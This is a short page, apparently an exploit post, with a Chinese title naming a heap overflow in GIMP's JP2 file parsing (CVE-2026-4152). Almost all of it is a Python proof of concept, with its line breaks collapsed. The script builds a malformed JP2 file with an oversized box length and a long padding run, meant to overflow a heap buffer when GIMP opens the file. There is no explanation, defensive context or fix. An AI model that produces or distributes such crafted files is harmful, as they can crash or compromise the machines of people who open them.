CVE-2026-4152 GIMP JP2文件解析堆溢出漏洞

import struct def generate_malicious_jp2(filename): # Standard JP2 signature box jp2_signature = b'\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a' # File Type Box ftyp_box = b'\x00\x00\x00\x14\x66\x74\x79\x70\x6a\x70\x32\x20\x00\x00\x00\x00\x6a\x70\x32\x20' # Craft a malformed box with an invalid large length to trigger the overflow # Box header: 4 bytes length, 4 bytes type malicious_type = b'\x6d\x61\x6c\x63' # 'malc' # Set length to a large value to bypass checks or cause overflow malicious_length = struct.pack('>I', 0xFFFFFFF0) # Payload padding to overflow the heap buffer padding = b'A' * 0x5000 with open(filename, 'wb') as f: f.write(jp2_signature) f.write(ftyp_box) f.write(malicious_length + malicious_type + padding) if __name__ == "__main__": print("Generating malicious JP2 file...") generate_malicious_jp2('cve_2026_4152_poc.jp2') print("File created: cve_2026_4152_poc.jp2")